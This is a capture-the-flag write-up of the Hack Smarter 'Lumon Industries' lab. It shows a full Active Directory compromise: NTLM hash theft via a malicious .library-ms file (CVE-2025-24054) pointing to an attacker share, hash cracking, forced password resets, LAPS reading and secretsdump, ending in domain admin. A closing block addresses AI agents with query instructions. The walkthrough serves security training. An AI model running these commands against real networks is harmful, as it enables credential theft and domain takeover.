# Lumon Industries

{% embed url="<https://www.hacksmarter.org/courses/a952a025-4b22-47cd-bd75-d92cf5e524e9>" %}

The following post by 0xb0b is licensed under [CC BY 4.0<img src="https://mirrors.creativecommons.org/presskit/icons/cc.svg?ref=chooser-v1" alt="" data-size="line"><img src="https://mirrors.creativecommons.org/presskit/icons/by.svg?ref=chooser-v1" alt="" data-size="line">](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)

***

## Scenario

### Objective / Scope <a href="#user-content-objective--scope" id="user-content-objective--scope"></a>

Lumon Industries will soon be integrating a high-value employee into the organization. In accordance with internal security protocols, a comprehensive penetration test and internal access verification must be conducted prior to full onboarding.

For the purposes of this evaluation, you will be provided the assigned credentials and access permissions corresponding to the subject employee. Your objective is to assess the scope and boundaries of these permissions, ensuring compliance with all Lumon security standards and operational safeguards.

**Starting Credentials**

```
hellyr:H3lenaR!2025
```

## Summary

<details>

<summary>Summary</summary>

In Lumon we begin with domain credentials and assess internal access boundaries within the `lumons.hacksmarter` environment. Enumerating network hosts reveals an intranet web application and SMB shares accessible to the provided user. Leveraging write permissions on a shared folder, we weaponize a malicious `.library-ms` file to exploit `CVE-2025-24054` and coerce NTLM authentication, capturing and cracking the credentials of `harmonyc`, an administrative user. Using these, we gain admin access on the web portal and trigger another NTLM leak via the admin interface, recovering the `IntranetSvc` service account. Enumeration in BloodHound shows this account can reset passwords for other users, allowing us to take over `marks`, a member of the `LAPSAdmins` group. By reading the LAPS-stored local administrator password, we gain full control of the Intranet host, elevate `marks` to a local Administrator, and extract credentials for `hellye`, a Domain Administrator. Cracking the recovered hash provides domain admin access on DC01.

</details>

## Recon

In our initial reconnaissance phase, we perform a port scan on every available machine and manually probe the services available.

### DC01

We use rustscan `-b 500 -a 10.1.194.227 -- -sC -sV -Pn` to enumerate all TCP ports on the `DC01` machine, piping the discovered results into Nmap which runs default NSE scripts `-sC`, service and version detection `-sV`, and treats the host as online without ICMP echo `-Pn`.

A batch size of `500` trades speed for stability, the default `1500` balances both, while much larger sizes increase throughput but risk missed responses and instability.

```
rustscan -b 500 -a 10.1.194.227 -- -sC -sV -Pn
```

<figure><img src="/files/Dr2MAPU0eclNfkDqRCfd" alt=""><figcaption></figcaption></figure>

DC01 is the domain controller with exposed services including DNS `53`, Kerberos `88/464`, multiple MSRPC endpoints `135, 593, 49664+`, SMB `139/445`, LDAP and LDAPS `389/636/3268/3269` tied to Active Directory, RDP `3389`, and .NET Remoting `9389`. This indicates a fully integrated Windows AD environment where LDAP/LDAPS and Kerberos provide authentication, SMB and RPC enable remote management, and RDP/WinRM serve as remote access points.

<figure><img src="/files/TcBUwTvN4f2U0yM4TJnM" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/trKPrTKIiKiOh24dkpuJ" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/ortAMPBh7xwK1Qo676I2" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/WXPqlTxlHB3DE7S7Oz39" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/X1bbEMbzXc8l1CqTw7rt" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/BPM2ssQ6kGzPR5tQIywO" alt=""><figcaption></figcaption></figure>

#### SMB

Before we dive in with the provided credentials we try to authenticate as `guest` and anonymously against SMB, but without success. Nevertheless we generate the hosts file entry like the following:&#x20;

```
 nxc smb 10.1.194.227 -u '' -p '' --generate-hosts-file hosts-DC
```

<figure><img src="/files/YzIb0pV0g8iWyiqd3XTm" alt=""><figcaption></figcaption></figure>

We add the following to our `/etc/hosts` file. We could also directly append the entry to our hosts file by providing the path to `/etc/hosts` in the NetExec command.

```
10.1.194.227     DC01.lumons.hacksmarter lumons.hacksmarter DC01
```

We are able to authenticate as `hellyr` with the provided password against the DC, but we do not find any interesting shares.

```
nxc smb DC01 -u 'hellyr' -p 'H3lenaR!2025' --shares
```

<figure><img src="/files/U46UHF1sAGKYQx1YgFGV" alt=""><figcaption></figcaption></figure>

#### BloodHound

With the credentials, we then enumerate the AD using BloodHound.

{% code overflow="wrap" %}

```
bloodhound-ce.py --zip -c All -d lumons.hacksmarter -u 'hellyr' -p 'H3lenaR!2025' -dc DC01.lumons.hacksmarter -ns 10.1.194.227
```

{% endcode %}

<figure><img src="/files/2h5pM8QuR8WD2R2YHPdG" alt=""><figcaption></figcaption></figure>

We see that the user has no special permissions, but is in the `MICRODATA REFINEMENT` group.

<figure><img src="/files/8JvwLM2zWViqtxnFQD7t" alt=""><figcaption></figcaption></figure>

We are able to identify `hellye` as one of the Domain Admins. For now, we will continue with the `Intranet` machine.

<figure><img src="/files/yK1UI9RlBx25UvVBbCN5" alt=""><figcaption></figcaption></figure>

### Intranet

We use rustscan `-b 500 -a 10.1.212.200` `-- -sC -sV -Pn` to enumerate all TCP ports on the `Intranet` machine, piping the discovered results into Nmap which runs default NSE scripts `-sC`, service and version detection `-sV`, and treats the host as online without ICMP echo `-Pn`.

A batch size of `500` trades speed for stability, the default `1500` balances both, while much larger sizes increase throughput but risk missed responses and instability.

```
rustscan -b 500 -a 10.1.212.200 -- -sC -sV -Pn
```

<figure><img src="/files/g8kqle4lFTzMiWCfyMQF" alt=""><figcaption></figcaption></figure>

The `Intranet` machine has a web server available on port `80` in addition to SMB, RDP, and the RPC ports as well as `5985` with Windows Remote Management. From this initial scan we can determine the acutal machine name and domain.

<figure><img src="/files/GKGjApBOheCPCgZlrDro" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/IjNWBDa6sRXWydwaH8cT" alt=""><figcaption></figcaption></figure>

#### SMB

Here, too, we first try too authenticate as `guest` and anonymously against SMB, but without success. Nevertheless we generate the hosts file entry like the following:&#x20;

```
nxc smb 10.1.212.200 -u '' -p '' --generate-hosts-file hosts-Intranet
```

<figure><img src="/files/naBPftBPmKdyynFt2Dmk" alt=""><figcaption></figcaption></figure>

We add the following to our `/etc/hosts` file.&#x20;

```
10.1.212.200     INTRANET.lumons.hacksmarter INTRANET
```

We enumerate the shares on `Intranet` as `hellyr` and are able to identify the `MDRepo` share where we have `read` and `write` access to.

```
nxc smb INTRANET -u 'hellyr' -p 'H3lenaR!2025' --shares
```

<figure><img src="/files/7vip1B1KARqfY3upYtrP" alt=""><figcaption></figcaption></figure>

We connect to the share using `smbclient.py` and find a `.url` and `.pdf` file. We download those files but do not find a lead in there.&#x20;

<details>

<summary>Hint</summary>

Since we have write access to that share we could try to steal the NTLM hash of the users who regularly accesses the share. But more on that later. We move on to the web service.

</details>

```
smbclient.py hellyr@INTRANET
```

<figure><img src="/files/PtYRyIEicFdMmUM889x8" alt=""><figcaption></figcaption></figure>

#### WEB

We visit the site on port `80` and get redirected to the HTTPS service on port `443`.

<figure><img src="/files/OIpzAxRdceYhHki42HTe" alt=""><figcaption></figcaption></figure>

We try to log in as `hellyr` with the provided credentials.

<figure><img src="/files/EcAq06evzgQVs0nhTsac" alt=""><figcaption></figcaption></figure>

We are able to log in, but do not find anything useful yet.

<figure><img src="/files/14lEEykJmRGom1aFWYmv" alt=""><figcaption></figcaption></figure>

Next, we perform a directory scan using Feroxbuster and find a `terminal` and `admin` page, but we do not have access here as `hellyr`.

{% code overflow="wrap" %}

```
feroxbuster -w /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt -u https://INTRANET.lumons.hacksmarter/ -k
```

{% endcode %}

<figure><img src="/files/XCaVtALsOC9IZvbrBcnR" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/fkdE3TYYjTigxgYbSiTW" alt=""><figcaption></figcaption></figure>

## Access as harmonyc

We recall out finding on the SMB shares, that we have write access to `MDRepo` and the idea to steal the hashes of users accessing the share.

<figure><img src="/files/QYaZmwbqrNa6TyNoa8rI" alt=""><figcaption></figcaption></figure>

The Greenwolf `ntlm_theft` tool may help us out here. With that we are able to create up to 21 files that can be used for NTLM hash theft.

{% embed url="<https://github.com/Greenwolf/ntlm_theft>" %}

We generate the files...

```
ntlm_theft.py --generate modern --server 10.200.29.81 --filename "Lumons Intranet"
```

<figure><img src="/files/mAVjZ2mWoYSHtXaOqiNb" alt=""><figcaption></figcaption></figure>

... spin up responder...

{% embed url="<https://github.com/SpiderLabs/Responder>" %}

```
responder -I tun0
```

<figure><img src="/files/WUHvQtzUx8a1c80QEMHY" alt=""><figcaption></figcaption></figure>

... and put those files in the share but we do not receive any hashes.&#x20;

Recalling a recent CVE - CVE-2025-24054 - a Windows vulnerability that allows to leak NTLM  hashes by tricking users into interacting with a `.library-ms` file.&#x20;

Windows automatically attempts NTLM authentication when accessing remote resources, often without clear user warning. This implicit trust in network locations allows to coerce the system into sending credential material.

{% embed url="<https://research.checkpoint.com/2025/cve-2025-24054-ntlm-exploit-in-the-wild/>" %}

With a malicious `.library-ms` file depicted in the following resource it points to a remote SMB/WebDAV share under our control - in this case responder. The vulnerability could be triggered with minimal user interaction, such as right-clicking, dragging and dropping, or simply navigating to the folder containing the malicious file. Windows initiates an NTLM authentication request to that remote server, leaking the user's NTLM hash, which can then be relayed or cracked.

We use the following resource to generate the `.library-ms` file:

{% embed url="<https://github.com/helidem/CVE-2025-24054_CVE-2025-24071-PoC>" %}

```
python exploit.py
```

<figure><img src="/files/VvoyzsqVm6FjT4ihIseN" alt=""><figcaption></figcaption></figure>

```
<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
  <searchConnectorDescriptionList>
    <searchConnectorDescription>
      <simpleLocation>
        <url>\\10.200.29.81\share</url>
      </simpleLocation>
    </searchConnectorDescription>
  </searchConnectorDescriptionList>
</libraryDescription>
```

We place the file into the share using `smbclient.py`.

```
smbclient.py hellyr@INTRANET
```

```
use MDRepo
```

<figure><img src="/files/nkt0eNjFsoh9a6PzP3Cc" alt=""><figcaption></figcaption></figure>

```
put CVE-2025-24054_CVE-2025-24071-PoC/xd.library-ms
```

<figure><img src="/files/kGl6uyc0iFzJ3Z64oBEr" alt=""><figcaption></figcaption></figure>

After a short duration we receive the NTLMv2-SSP of `harmonyc`. The manager mentioned in the pdf.

<figure><img src="/files/nzAa1jDRpUudT6dQtWzp" alt=""><figcaption></figcaption></figure>

We try to crack the hash and are successful.

```
hashcat -m 5600 harmonyc.NTLMv2-SSP /usr/share/wordlists/rockyou.txt
```

<figure><img src="/files/VvuJOPNwXr6zwbEnCg2U" alt=""><figcaption></figcaption></figure>

We authenticate as `harmonyc` on the domain controller and are successfull.

```
nxc smb DC01 -u 'harmonyc' -p 'REDACTED' --shares
```

<figure><img src="/files/csfPdJZA72LjYKD3HJOU" alt=""><figcaption></figcaption></figure>

We mark the user as owned in BloodHound. We see that the user is part of the custom group `ADMINISTRATION`.

<figure><img src="/files/jjZ6ba1QzKJdnfzlyWlY" alt=""><figcaption></figcaption></figure>

## Access as IntranetSvc

We try to log in as `harmonyc` on the Intranet portal.

<figure><img src="/files/8EtoHIJfTAoUm7FOmMJk" alt=""><figcaption></figcaption></figure>

We are successful and have now the admin and terminal page accessible.

<figure><img src="/files/XP592Q26garPWBADRKuW" alt=""><figcaption></figcaption></figure>

Next, we visit the admin page and have three options available. We are able to unlock other AD Accounts, ping servers and browse file shares.&#x20;

```
https://intranet.lumons.hacksmarter/admin
```

<figure><img src="/files/i2lyPvmR1gcIBNyyxMBn" alt=""><figcaption></figcaption></figure>

While responder still running we provide our share like the following:

```
\\10.200.29.81\share
```

<figure><img src="/files/uvVm0Yi7Kak6A13qHUa0" alt=""><figcaption></figcaption></figure>

And we immediately get the hash of IntranetSvc.

<figure><img src="/files/rdBMpjfaIz9lNLcqZIgM" alt=""><figcaption></figcaption></figure>

We try to crack it, and are successfull.

```
hashcat -m 5600 IntranetSvc.NTLMv2-SSP /usr/share/wordlists/rockyou.txt 
```

<figure><img src="/files/7UXyKZ9dDDP9KW3vmvTD" alt=""><figcaption></figcaption></figure>

We test the credentials using NetExec and are able to authenticate against SMB on DC01.&#x20;

```
nxc smb DC01 -u 'IntranetSvc' -p 'REDACTED' --shares
```

<figure><img src="/files/ok3hNVKGh7nAXGGGFqtD" alt=""><figcaption></figcaption></figure>

## Shell as marks

We mark the user `IntranetSvc` as owned in Bloodhound. The user `IntranetSvs` is member of the `Web Admins` group.&#x20;

<figure><img src="/files/xK6vGWOuk4stORBf3WK3" alt=""><figcaption></figcaption></figure>

Besides Intranet also `peterk` is member of the web admins group.&#x20;

<figure><img src="/files/9iyrN7v5lMyL7s8UhG68" alt=""><figcaption></figcaption></figure>

We do have permissions to change the password of the user.

{% hint style="info" %}
One thing I didn't notice here is that the user is disabled, which could have been already identified in the BloodHound data, see the screenshot below. This part can be skipped to marks, as the user has the same permissions, is not disabled, and we can change the password of that user too.
{% endhint %}

<figure><img src="/files/jkTMHbEVvAITWodZGYxS" alt=""><figcaption></figcaption></figure>

This is interesting because `peterk` is also member of `LAPSAdmins` which could mean that the user can read the attribute that stores the local admin password.

<figure><img src="/files/sLpIuPukt8ahqtsSJEDJ" alt=""><figcaption></figcaption></figure>

We use bloodyad to change the password and try to authenticate against SMB but get a timeout like depcited in `thehacker.recipes`.

{% embed url="<https://www.thehacker.recipes/ad/movement/dacl/forcechangepassword#forcechangepassword>" %}

{% code overflow="wrap" %}

```
bloodyad -u 'IntranetSvc' -p 'REDACTED' --host DC01.lumons.hacksmarter set password 'PETERK' 'Pwned123@!'
```

{% endcode %}

```
nxc smb INTRANET -u 'peterk' -p 'Pwned123@!
```

<figure><img src="/files/byuthDj9QGCqdt19Ltou" alt=""><figcaption></figcaption></figure>

With authenticating against LDAP we see why - the account is disabled. If we would have paid a bit more attention to our BloodHound data we would have saved a bit time.

```
nxc ldap DC01.lumons.hacksmarter -u 'peterk' -p 'Pwned123@!
```

<figure><img src="/files/DglT8smdPlNTaUjuwj3A" alt=""><figcaption></figcaption></figure>

We investigate the outbound object control of `IntranetSvc`, and see that we also could change the passwords of other users. One of them is `marks`.

<figure><img src="/files/7kIoEKuIV1kbnteI9eQB" alt=""><figcaption></figcaption></figure>

That user is also member if the `LAPSAdmin` group and is not disabled.

<figure><img src="/files/jEWX56YUHV5cHu2MO9lN" alt=""><figcaption></figcaption></figure>

We change the passsword of marks...

{% code overflow="wrap" %}

```
bloodyad -u 'IntranetSvc' -p 'REDACTED' --host DC01.lumons.hacksmarter set password 'marks' 'Pwned123@!'
```

{% endcode %}

<figure><img src="/files/RIlQlSFcQx5b7BsW6hJo" alt=""><figcaption></figcaption></figure>

... and try to log in using evil-winrm and are able to connect. We find the user flag at `C:\Users\MarkS\Desktop\user.txt`.

```
 evil-winrm -i INTRANET -u 'marks' -p 'Pwned123@!'     
```

<figure><img src="/files/shO06rdQnXImUC29jhaK" alt=""><figcaption></figcaption></figure>

## Access as localadmin on INTRANET

Since the account is not disabled and this user is part of `LAPSAdmins`, we can then try to read the LAPS password of the computer account i.e. the password of the computer's local administrator:

{% embed url="<https://www.thehacker.recipes/ad/movement/dacl/readlapspassword#readlapspassword>" %}

We use NetExec for our attempt and are able to read the `localadmin`'s password of the `Intranet` machine.

```
nxc ldap DC01.lumons.hacksmarter -u 'marks' -p 'Pwned123@!' --module laps
```

<figure><img src="/files/Yo31YL9Akp30CW18Qf9E" alt=""><figcaption></figcaption></figure>

We test whether we can authenticate to SMB on `Intranet` using the discovered credentials, and the authentication is successful.

```
nxc smb INTRANET -u 'localadmin' -p 'REDACTED' --local-auth
```

<figure><img src="/files/JfHkWbjvDlUHL1dcLBZ4" alt=""><figcaption></figcaption></figure>

## Shell as marks (added to Domain Admins)

As low-hanging fruit, we try to dump SAM and LSA secrets on `Intranet`. This may allow us to find additional credentials.&#x20;

After all, we have access as `localadmin`. Unfortunately, we are unable to authenticate ourselves cleanly as localadmin using secretsdump.py. NetExec modules such as `nanodump` or `lsassy` did not work, or tags such as `--lsa` and `--sam` also do not work (they at least require Domain Admin or Local Admin Priviledges on target Domain Controller).

We are also able to get a Remote Desktop session as `localadmin`.&#x20;

As `localadmin`, we can now try to extend a domain user we control with local adminstration permissions by adding that user to Administrators in order to remotely use `secretsdump.py` to dump the SAM & LSA secrets on `Intranet`.

We open a CMD terminal as administrator and issue the following command to add `marks` to the local Administrators group.

```
net localgroup Administrators marks /add
```

<figure><img src="/files/qJoGsihVFGIQHndhAcBx" alt=""><figcaption></figcaption></figure>

If we now authenticate as marks on INTRANET via SMB using NetExec, we see we are now admin.

```
nxc smb INTRANET -u 'marks' -p 'Pwned123@!'
```

<figure><img src="/files/GHg1RQMZPiUwWWxn5Pha" alt=""><figcaption></figcaption></figure>

Next, we use `secretsdump.py` to dump the hashes and find the hash of `hellye`.

{% embed url="<https://www.thehacker.recipes/ad/movement/credentials/dumping/sam-and-lsa-secrets#secrets-dump>" %}

```
secretsdump.py 'lumons.hacksmarter/marks:Pwned123@!@INTRANET'
```

<figure><img src="/files/18H5eNwkey5b1mdiykYw" alt=""><figcaption></figcaption></figure>

Recalling our BloodHound enumeration we know that `hellye` is a Domain Administrator.

<figure><img src="/files/ACSrnFQhtSaAWUsHGqmV" alt=""><figcaption></figcaption></figure>

As a low-hanging fruit, we try to crack the DCC2 hash. This takes a little more time but is successful with `rockyou.txt`.

```
hashcat -m 2100 hellye.DCC2 /usr/share/wordlists/rockyou.tx
```

<figure><img src="/files/M4GnfeMxROM9JpX8JUrZ" alt=""><figcaption></figcaption></figure>

We are now able to authenticate as `hellye` on DC01 as a Domain Administraor.

```
nxc smb DC01.lumons.hacksmarter -u 'hellye' -p 'REDACTED'
```

<figure><img src="/files/fr8AeHT1mc2Mb7LFyngO" alt=""><figcaption></figcaption></figure>

From there we are able to retrieve the final flag using `smbclient.py`...

```
smbclient.py hellye@DC01
```

<figure><img src="/files/8Sy3TKiPcQkYT4VzcgOn" alt=""><figcaption></figcaption></figure>

... and connect to the domain controlller using RDP as the Domain Admin.

<figure><img src="/files/dj1MEtBZVcARpLokpFyV" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xb0b.gitbook.io/writeups/hack-smarter-labs/2026/lumon-industries.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
